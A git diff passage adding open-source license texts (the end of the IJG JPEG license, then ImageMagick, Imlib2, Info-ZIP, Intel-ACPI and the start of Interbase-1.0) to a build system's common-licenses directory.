+2. You can use this software for whatever you want. You don't have to pay us.
+3. You may not pretend that you wrote this software. If you use it in a program, you must acknowledge somewhere in your documentation that you've used the IJG code.
+
+In legalese:
+
+The authors make NO WARRANTY or representation, either express or implied, with respect to this software, its quality, accuracy, merchantability, or fitness for a particular purpose. This software is provided "AS IS", and you, its user, assume the entire risk as to its quality and accuracy.
+
+This software is copyright (C) 1991-1998, Thomas G. Lane. All Rights Reserved except as specified below.
+
+Permission is hereby granted to use, copy, modify, and distribute this software (or portions thereof) for any purpose, without fee, subject to these conditions:
+
+ (1) If any part of the source code for this software is distributed, then this README file must be included, with this copyright and no-warranty notice unaltered; and any additions, deletions, or changes to the original files must be clearly indicated in accompanying documentation.
+ (2) If only executable code is distributed, then the accompanying documentation must state that "this software is based in part on the work of the Independent JPEG Group".
+ (3) Permission for use of this software is granted only if the user accepts full responsibility for any undesirable consequences; the authors accept NO LIABILITY for damages of any kind.
+
+These conditions apply to any software derived from or based on the IJG code, not just to the unmodified library. If you use our work, you ought to acknowledge us.
+
+Permission is NOT granted for the use of any IJG author's name or company name in advertising or publicity relating to this software or products derived from it. This software may be referred to only as "the Independent JPEG Group's software".
+
+We specifically permit and encourage the use of this software as the basis of commercial products, provided that all warranty or liability claims are assumed by the product vendor.
+
+ansi2knr.c is included in this distribution by permission of L. Peter Deutsch, sole proprietor of its copyright holder, Aladdin Enterprises of Menlo Park, CA. ansi2knr.c is NOT covered by the above copyright and conditions, but instead by the usual distribution terms of the Free Software Foundation; principally, that you must include source code if you redistribute it. (See the file ansi2knr.c for full details.) However, since ansi2knr.c is not needed as part of any program generated from the IJG code, this does not limit you more than the foregoing paragraphs do.
+
+The Unix configuration script "configure" was produced with GNU Autoconf. It is copyright by the Free Software Foundation but is freely distributable. The same holds for its supporting scripts (config.guess, config.sub, ltconfig, ltmain.sh). Another support script, install-sh, is copyright by M.I.T. but is also freely distributable.
+
+It appears that the arithmetic coding option of the JPEG spec is covered by patents owned by IBM, AT&T, and Mitsubishi. Hence arithmetic coding cannot legally be used without obtaining one or more licenses. For this reason, support for arithmetic coding has been removed from the free JPEG software. (Since arithmetic coding provides only a marginal gain over the unpatented Huffman mode, it is unlikely that very many implementations will support it.) So far as we are aware, there are no patent restrictions on the remaining code.
+
+The IJG distribution formerly included code to read and write GIF files. To avoid entanglement with the Unisys LZW patent, GIF reading support has been removed altogether, and the GIF writer has been simplified to produce "uncompressed GIFs". This technique does not use the LZW algorithm; the resulting GIF files are larger than usual, but are readable by all standard GIF decoders.
+
+We are required to state that
+ "The Graphics Interchange Format(c) is the Copyright property of CompuServe Incorporated. GIF(sm) is a Service Mark property of CompuServe Incorporated."
diff --git a/meta/files/common-licenses/ImageMagick b/meta/files/common-licenses/ImageMagick
new file mode 100644
index 0000000000..e627fd7b42
--- /dev/null
+++ b/meta/files/common-licenses/ImageMagick
@@ -0,0 +1,98 @@
+Before we get to the text of the license, lets just review what the license says in simple terms:
+
+It allows you to:
+
+ * freely download and use ImageMagick software, in whole or in part, for personal, company internal, or commercial purposes;
+ * use ImageMagick software in packages or distributions that you create;
+ * link against a library under a different license;
+ * link code under a different license against a library under this license;
+ * merge code into a work under a different license;
+ * extend patent grants to any code using code under this license;
+ * and extend patent protection.
+
+It forbids you to:
+
+ * redistribute any piece of ImageMagick-originated software without proper attribution;
+ * use any marks owned by ImageMagick Studio LLC in any way that might state or imply that ImageMagick Studio LLC endorses your distribution;
+ * use any marks owned by ImageMagick Studio LLC in any way that might state or imply that you created the ImageMagick software in question.
+
+It requires you to:
+
+ * include a copy of the license in any redistribution you may make that includes ImageMagick software;
+ * provide clear attribution to ImageMagick Studio LLC for any distributions that include ImageMagick software.
+
+It does not require you to:
+
+ * include the source of the ImageMagick software itself, or of any modifications you may have made to it, in any redistribution you may assemble that includes it;
+ * submit changes that you make to the software back to the ImageMagick Studio LLC (though such feedback is encouraged).
+
+A few other clarifications include:
+
+ * ImageMagick is freely available without charge;
+ * you may include ImageMagick on a DVD as long as you comply with the terms of the license;
+ * you can give modified code away for free or sell it under the terms of the ImageMagick license or distribute the result under a different license, but you need to acknowledge the use of the ImageMagick software;
+ * the license is compatible with the GPL V3.
+ * when exporting the ImageMagick software, review its export classification.
+
+Terms and Conditions for Use, Reproduction, and Distribution
+
+The legally binding and authoritative terms and conditions for use, reproduction, and distribution of ImageMagick follow:
+
+Copyright 1999-2013 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available.
+
+1. Definitions.
+
+License shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document.
+
+Licensor shall mean the copyright owner or entity authorized by the copyright owner that is granting the License.
+
+Legal Entity shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, control means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+You (or Your) shall mean an individual or Legal Entity exercising permissions granted by this License.
+
+Source form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files.
+
+Object form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types.
+
+Work shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below).
+
+Derivative Works shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof.
+
+Contribution shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as Not a Contribution.
+
+Contributor shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work.
+
+2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form.
+
+3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed.
+
+4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions:
+
+ a. You must give any other recipients of the Work or Derivative Works a copy of this License; and
+ b. You must cause any modified files to carry prominent notices stating that You changed the files; and
+ c. You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and
+ d. If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License.
+
+You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License.
+
+5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.
+
+6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file.
+
+7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an AS IS BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License.
+
+8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages.
+
+9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability.
+
+How to Apply the License to your Work
+
+To apply the ImageMagick License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information (don't include the brackets). The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives.
+
+ Copyright [yyyy] [name of copyright owner]
+
+ Licensed under the ImageMagick License (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
+
+ http://www.imagemagick.org/script/license.php
+
+ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
diff --git a/meta/files/common-licenses/Imlib2 b/meta/files/common-licenses/Imlib2
new file mode 100644
index 0000000000..9f9dfd2126
--- /dev/null
+++ b/meta/files/common-licenses/Imlib2
@@ -0,0 +1,9 @@
+Imlib2 License
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies of the Software and its Copyright notices. In addition publicly documented acknowledgment must be given that this software has been used if no source code of this software is made available publicly. Making the source available publicly means including the source for this software with the distribution, or a method to get this software via some reasonable mechanism (electronic transfer via a network or media) as well as making an offer to supply the source on request. This Copyright notice serves as an offer to supply the source on on request as well. Instead of this, supplying acknowledgments of use of this software in either Copyright notices, Manuals, Publicity and Marketing documents or any documentation provided with any product containing this software. This License does not apply to any software that links to the libraries provided by this software (statically or dynamically), but only to the software provided.
+
+Please see the COPYING-PLAIN for a plain-english explanation of this notice and its intent.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/Info-ZIP b/meta/files/common-licenses/Info-ZIP
new file mode 100644
index 0000000000..9067701bbb
--- /dev/null
+++ b/meta/files/common-licenses/Info-ZIP
@@ -0,0 +1,16 @@
+Info-ZIP License
+
+Copyright (c) 1990-2009 Info-ZIP. All rights reserved.
+
+For the purposes of this copyright and license, "Info-ZIP" is defined as the following set of individuals:
+
+ Mark Adler, John Bush, Karl Davis, Harald Denker, Jean-Michel Dubois, Jean-loup Gailly, Hunter Goatley, Ed Gordon, Ian Gorman, Chris Herborth, Dirk Haase, Greg Hartwig, Robert Heath, Jonathan Hudson, Paul Kienitz, David Kirschbaum, Johnny Lee, Onno van der Linden, Igor Mandrichenko, Steve P. Miller, Sergio Monesi, Keith Owens, George Petrov, Greg Roelofs, Kai Uwe Rommel, Steve Salisbury, Dave Smith, Steven M. Schweda, Christian Spieler, Cosmin Truta, Antoine Verheijen, Paul von Behren, Rich Wales, Mike White.
+
+This software is provided "as is," without warranty of any kind, express or implied. In no event shall Info-ZIP or its contributors be held liable for any direct, indirect, incidental, special or consequential damages arising out of the use of or inability to use this software.
+
+Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the above disclaimer and the following restrictions:
+
+ * Redistributions of source code (in whole or in part) must retain the above copyright notice, definition, disclaimer, and this list of conditions.
+ * Redistributions in binary form (compiled executables and libraries) must reproduce the above copyright notice, definition, disclaimer, and this list of conditions in documentation and/or other materials provided with the distribution. Additional documentation is not needed for executables where a command line license option provides these and a note regarding this option is in the executable's startup banner. The sole exception to this condition is redistribution of a standard UnZipSFX binary (including SFXWiz) as part of a self-extracting archive; that is permitted without inclusion of this license, as long as the normal SFX banner has not been removed from the binary or disabled.
+ * Altered versions--including, but not limited to, ports to new operating systems, existing ports with new graphical interfaces, versions with modified or added functionality, and dynamic, shared, or static library versions not from Info-ZIP--must be plainly marked as such and must not be misrepresented as being the original source or, if binaries, compiled from the original source. Such altered versions also must not be misrepresented as being Info-ZIP releases--including, but not limited to, labeling of the altered versions with the names "Info-ZIP" (or any variation thereof, including, but not limited to, different capitalizations), "Pocket UnZip," "WiZ" or "MacZip" without the explicit permission of Info-ZIP. Such altered versions are further prohibited from misrepresentative use of the Zip-Bugs or Info-ZIP e-mail addresses or the Info-ZIP URL(s), such as to imply Info-ZIP will provide support for the altered versions.
+ * Info-ZIP retains the right to use the names "Info-ZIP," "Zip," "UnZip," "UnZipSFX," "WiZ," "Pocket UnZip," "Pocket Zip," and "MacZip" for its own source and binary releases.
diff --git a/meta/files/common-licenses/Intel-ACPI b/meta/files/common-licenses/Intel-ACPI
new file mode 100644
index 0000000000..e5cc5fd190
--- /dev/null
+++ b/meta/files/common-licenses/Intel-ACPI
@@ -0,0 +1,34 @@
+ACPI - Software License Agreement
+Software License Agreement IMPORTANT - READ BEFORE COPYING, INSTALLING OR USING.
+
+Do not use or load this software and any associated materials (collectively, the "Software") until you have carefully read the following terms and conditions. By loading or using the Software, you agree to the terms of this Agreement. If you do not wish to so agree, do not install or use the Software.
+
+1. COPYRIGHT NOTICE Some or all of this work - Copyright © 1999-2005, Intel Corp. All rights reserved.
+
+2. LICENSE
+
+ 2.1. This is your license from Intel Corp. under its intellectual property rights. You may have additional license terms from the party that provided you this software, covering your right to use that party's intellectual property rights.
+
+ 2.2. Intel grants, free of charge, to any person ("Licensee") obtaining a copy of the source code appearing in this file ("Covered Code") an irrevocable, perpetual, worldwide license under Intel's copyrights in the base code distributed originally by Intel ("Original Intel Code") to copy, make derivatives, distribute, use and display any portion of the Covered Code in any form, with the right to sublicense such rights; and
+
+ 2.3. Intel grants Licensee a non-exclusive and non-transferable patent license (with the right to sublicense), under only those claims of Intel patents that are infringed by the Original Intel Code, to make, use, sell, offer to sell, and import the Covered Code and derivative works thereof solely to the minimum extent necessary to exercise the above copyright license, and in no event shall the patent license extend to any additions to or modifications of the Original Intel Code. No other license or right is granted directly or by implication, estoppel or otherwise; The above copyright and patent license is granted only if the following conditions are met:
+
+3. CONDITIONS
+
+ 3.1. Redistribution of Source with Rights to Further Distribute Source. Redistribution of source code of any substantial portion of the Covered Code or modification with rights to further distribute source must include the above Copyright Notice, the above License, this list of Conditions, and the following Disclaimer and Export Compliance provision. In addition, Licensee must cause all Covered Code to which Licensee contributes to contain a file documenting the changes Licensee made to create that Covered Code and the date of any change. Licensee must include in that file the documentation of any changes made by any predecessor Licensee. Licensee must include a prominent statement that the modification is derived, directly or indirectly, from Original Intel Code.
+
+ 3.2. Redistribution of Source with no Rights to Further Distribute Source. Redistribution of source code of any substantial portion of the Covered Code or modification without rights to further distribute source must include the following Disclaimer and Export Compliance provision in the documentation and/or other materials provided with distribution. In addition, Licensee may not authorize further sublicense of source of any portion of the Covered Code, and must include terms to the effect that the license from Licensee to its licensee is limited to the intellectual property embodied in the software Licensee provides to its licensee, and not to intellectual property embodied in modifications its licensee may make.
+
+ 3.3. Redistribution of Executable. Redistribution in executable form of any substantial portion of the Covered Code or modification must reproduce the above Copyright Notice, and the following Disclaimer and Export Compliance provision in the documentation and/or other materials provided with the distribution.
+
+ 3.4. Intel retains all right, title, and interest in and to the Original Intel Code.
+
+ 3.5. Neither the name Intel nor any other trademark owned or controlled by Intel shall be used in advertising or otherwise to promote the sale, use or other dealings in products derived from or relating to the Covered Code without prior written authorization from Intel.
+
+4. DISCLAIMER AND EXPORT COMPLIANCE
+
+ 4.1. INTEL MAKES NO WARRANTY OF ANY KIND REGARDING ANY SOFTWARE PROVIDED HERE. ANY SOFTWARE ORIGINATING FROM INTEL OR DERIVED FROM INTEL SOFTWARE IS PROVIDED "AS IS," AND INTEL WILL NOT PROVIDE ANY SUPPORT, ASSISTANCE, INSTALLATION, TRAINING OR OTHER SERVICES. INTEL WILL NOT PROVIDE ANY UPDATES, ENHANCEMENTS OR EXTENSIONS. INTEL SPECIFICALLY DISCLAIMS ANY IMPLIED WARRANTIES OF MERCHANTABILITY, NONINFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE.
+
+ 4.2. IN NO EVENT SHALL INTEL HAVE ANY LIABILITY TO LICENSEE, ITS LICENSEES OR ANY OTHER THIRD PARTY, FOR ANY LOST PROFITS, LOST DATA, LOSS OF USE OR COSTS OF PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, OR FOR ANY INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THIS AGREEMENT, UNDER ANY CAUSE OF ACTION OR THEORY OF LIABILITY, AND IRRESPECTIVE OF WHETHER INTEL HAS ADVANCE NOTICE OF THE POSSIBILITY OF SUCH DAMAGES. THESE LIMITATIONS SHALL APPLY NOTWITHSTANDING THE FAILURE OF THE ESSENTIAL PURPOSE OF ANY LIMITED REMEDY.
+
+ 4.3. Licensee shall not export, either directly or indirectly, any of this software or system incorporating such software without first obtaining any required license or other approval from the U. S. Department of Commerce or any other agency or department of the United States Government. In the event Licensee exports any such software from the United States or re-exports any such software from a foreign destination, Licensee shall ensure that the distribution and export/re-export of the software is in compliance with all laws, regulations, orders, or other restrictions of the U.S. Export Administration Regulations. Licensee agrees that neither it nor any of its subsidiaries will export/re-export any technical data, process, software, or service, directly or indirectly, to any country for which the United States government or any agency thereof requires an export license, other governmental approval, or letter of assurance, without first obtaining such license, approval or letter.
diff --git a/meta/files/common-licenses/Interbase-1.0 b/meta/files/common-licenses/Interbase-1.0
new file mode 100644
index 0000000000..5a73f24c31
--- /dev/null
+++ b/meta/files/common-licenses/Interbase-1.0
@@ -0,0 +1,199 @@
+INTERBASE PUBLIC LICENSE
+Version 1.0
+
+1. Definitions.
+
+1.0.1. "Commercial Use" means distribution or otherwise making the Covered Code available to a third party.
+
+1.1. ''Contributor'' means each entity that creates or contributes to the creation of Modifications.
+
+1.2. ''Contributor Version'' means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+
+1.3. ''Covered Code'' means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+1.4. ''Electronic Distribution Mechanism'' means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+1.5. ''Executable'' means Covered Code in any form other than Source Code.
+
+1.6. ''Initial Developer'' means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+1.7. ''Larger Work'' means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+1.8. ''License'' means this document.
+
+1.8.1. "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+1.9. ''Modifications'' means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+
+A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+
+B. Any new file that contains any part of the Original Code or previous Modifications.
+
+1.10. ''Original Code'' means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+
+1.10.1. "Patent Claims" means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+1.11. ''Source Code'' means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+
+1.12. "You'' (or "Your") means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You'' includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control'' means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2. Source Code License.
+
+2.1. The Initial Developer Grant.
+
+The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Initial Developer to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, and/or as part of a Larger Work; and
+
+ (b) under Patents Claims infringed by the making, using or selling of Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code (or portions thereof).
+
+ (c) the licenses granted in this Section 2.1(a) and (b) are effective on the date Initial Developer first distributes Original Code under the terms of this License.
+
+ (d) Notwithstanding Section 2.1(b) above, no patent license is granted: 1) for code that You delete from the Original Code; 2) separate from the Original Code; or 3) for infringements caused by: i) the modification of the Original Code or ii) the combination of the Original Code with other software or devices.
+
+2.2. Contributor Grant.
+
+Subject to third party intellectual property claims, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license
+
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Contributor, to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code and/or as part of a Larger Work; and
+
+ (b) under Patent Claims infringed by the making, using, or selling of Modifications made by that Contributor either alone and/or in combination with its Contributor Version (or portions of such combination), to make, use, sell, offer for sale, have made, and/or otherwise dispose of: 1) Modifications made by that Contributor (or portions thereof); and 2) the combination of Modifications made by that Contributor with its Contributor Version (or portions of such combination).
+
+ (c) the licenses granted in Sections 2.2(a) and 2.2(b) are effective on the date Contributor first makes Commercial Use of the Covered Code.
+
+ (d) Notwithstanding Section 2.2(b) above, no patent license is granted: 1) for any code that Contributor has deleted from the Contributor Version; 2) separate from the Contributor Version; 3) for infringements caused by: i) third party modifications of Contributor Version or ii) the combination of Modifications made by that Contributor with other software (except as part of the Contributor Version) or other devices; or 4) under Patent Claims infringed by Covered Code in the absence of Modifications made by that Contributor.
+
+3. Distribution Obligations.
+
+3.1. Application of License.
+
+The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+3.2. Availability of Source Code.
+
+Any Modification which You create or to which You contribute must be made available in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+3.3. Description of Modifications.
+
+You must cause all Covered Code to which You contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+
+3.4. Intellectual Property Matters
+
+ (a) Third Party Claims.
+
+ If Contributor has knowledge that a license under a third party's intellectual property rights is required to exercise the rights granted by such Contributor under Sections 2.1 or 2.2, Contributor must include a text file with the Source Code distribution titled "LEGAL'' which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If Contributor obtains such knowledge after the Modification is made available as described in Section 3.2, Contributor shall promptly modify the LEGAL file in all copies Contributor makes available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Covered Code that new knowledge has been obtained.
+
+ (b) Contributor APIs.
+
+ If Contributor's Modifications include an application programming interface and Contributor has knowledge of patent licenses which are reasonably necessary to implement that API, Contributor must also include this information in the LEGAL file.
+
+ (c) Representations.
+
+ Contributor represents that, except as disclosed pursuant to Section 3.4(a) above, Contributor believes that Contributor's Modifications are Contributor's original creation(s) and/or Contributor has sufficient rights to grant the rights conveyed by this License.
+
+3.5. Required Notices.
+
+You must duplicate the notice in Exhibit A in each file of the Source Code. If it is not possible to put such notice in a particular Source Code file due to its structure, then You must include such notice in a location (such as a relevant directory) where a user would be likely to look for such a notice. If You created one or more Modification(s) You may add your name as a Contributor to the notice described in Exhibit A. You must also duplicate this License in any documentation for the Source Code where You describe recipients' rights or ownership rights relating to Covered Code. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+3.6. Distribution of Executable Versions.
+
+You may distribute Covered Code in Executable form only if the requirements of Section 3.1-3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligations of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You describe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code or ownership rights under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+
+3.7. Larger Works.
+
+You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation.
+
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Application of this License.
+
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A and to related Covered Code.
+
+6. Versions of the License.
+
+6.1. New Versions.
+
+Borland Software Corporation (''Interbase'') may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+6.2. Effect of New Versions.
+
+Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by Interbase. No one other than Interbase has the right to modify the terms applicable to Covered Code created under this License.
+
+6.3. Derivative Works.
+
+If You create or use a modified version of this License (which you may only do in order to apply it to code which is not already Covered Code governed by this License), You must (a) rename Your license so that the phrases ''Mozilla'', ''MOZILLAPL'', ''MOZPL'', ''Netscape'', "MPL", ''NPL", "Interbase", "ISC", "IB'' or any confusingly similar phrase do not appear in your license (except to note that your license differs from this License) and (b) otherwise make it clear that Your version of the license contains terms which differ from the Mozilla Public License and Netscape Public License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+6.4 Origin of the Interbase Public License.
+
+The Interbase public license is based on the Mozilla Public License V 1.1 with the following changes:
+
+The license is published by Borland Software Corporation. Only Borland Software Corporation can modify the terms applicable to Covered Code.
